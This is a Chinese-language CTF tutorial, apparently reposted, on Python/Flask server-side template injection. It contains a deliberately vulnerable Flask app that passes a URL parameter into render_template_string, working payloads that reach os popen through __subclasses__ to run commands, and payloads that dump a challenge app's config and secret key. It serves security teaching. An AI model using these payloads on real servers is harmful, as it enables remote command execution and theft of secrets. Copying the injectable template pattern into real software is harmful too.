SSTI模板注入和真题实操
0x00 SSTI
1.什么是SSTI注入?
SSTI模板注入(Server-Side Template Injection),通过与服务端模板的 输入输出交互,在过滤不严格的情况下,构造恶意输入数据,从而达到读取文件或者getshell的目的,目前CTF常见的SSTI题中,大部分是考python的。
2.造成的原因与利用条件
网站由数据与模板框架处理输出页面,我们的数据在数据库不会改变,但是画面的模板可以转换多样,不同的模板可以给人不同的视觉感受,但是当模板存在可控的参数变量或模板代码内有模板的调试功能,可能会导致ssti模板注入,争对大多数脚本类型均存在该注入。常见为python的CTF考点较多
3.危害有哪些?
可造成文件读取,命令执行,代码执行等
paylaod解析参考:
0x01 案例理解SSTI
敏感函数词组:
flask
render_template_string
Python案例:
from flask import Flask
from flask import request
from flask import config
from flask import render_template_string
app = Flask(__name__)
app.config['SECRET_KEY'] = "flag{SSTI_123456}"
@app.route('/')
def hello_world():
return 'Hello World!'
@app.errorhandler(404)
def page_not_found(e):
template = '''
{%% block body %%}
<div class="center-content error">
<h1>Oops! That page doesn't exist.</h1>
<h3>%s</h3> #%s获取404_url参数下列字段内容,从而输入可控变量注入
</div>
{%% endblock %%}
''' % (request.args.get('404_url'))
return render_template_string(template), 404
if __name__ == '__main__':
app.run(host='0.0.0.0',debug=True)
可被python脚本执行,存在注入
通过payload类型,可RCE进行文件的读取与对本机等操作等
os._wrap_close类里有popen。
"".__class__.__bases__[0].__subclasses__()[128].__init__.__globals__['popen']('whoami').read()
"".__class__.__bases__[0].__subclasses__()[128].__init__.__globals__.popen('whoami').read()
0x02 CTF案例
https://buuoj.cn/
题目页面:
构造2-2执行,说明存在ssti注入执行
查看所有的全局变量,参考全局变量
利用全局变量获取当前应用下面的config值
url_for()函数是用于构建操作指定函数的URL
get_flashed_messages()函数是获取传递过来的数据
获取全局变量
/shrine/{{url_for.__globals__}}
或
/shrine/{{get_flashed_messages.__globals__}}
利当前的全局变量读取:
/shrine/{{url_for.__globals__['current_app'].config}}
或
/shrine/{{get_flashed_messages.__globals__['current_app'].config}}
补充: pyc的反编译知识点
pyc也是一种脚本封装的形式,类似于
aspx:DLL文件
java:.class/jar/war文件
pyc是一种可反编译的封装,也有反编译难度大的pyd等文件
pyc反编译参考网站:
反编译平台:
https://tool.lu/pyc/
http://tools.bugscaner.com/decompyle/
反编译工具:https://github.com/wibiti/uncompyle2
这篇好文章是转载于:学新通技术网
- 版权申明: 本站部分内容来自互联网,仅供学习及演示用,请勿用于商业和其他非法用途。如果侵犯了您的权益请与我们联系,请提供相关证据及您的身份证明,我们将在收到邮件后48小时内删除。
- 本站站名: 学新通技术网
- 本文地址: /boutique/detail/tanhgbhgif
-
photoshop保存的图片太大微信发不了怎么办
PHP中文网 06-15 -
Android 11 保存文件到外部存储,并分享文件
Luke 10-12 -
word里面弄一个表格后上面的标题会跑到下面怎么办
PHP中文网 06-20 -
《学习通》视频自动暂停处理方法
HelloWorld317 07-05 -
photoshop扩展功能面板显示灰色怎么办
PHP中文网 06-14 -
微信公众号没有声音提示怎么办
PHP中文网 03-31 -
excel下划线不显示怎么办
PHP中文网 06-23 -
怎样阻止微信小程序自动打开
PHP中文网 06-13 -
excel打印预览压线压字怎么办
PHP中文网 06-22 -
TikTok加速器哪个好免费的TK加速器推荐
TK小达人 10-01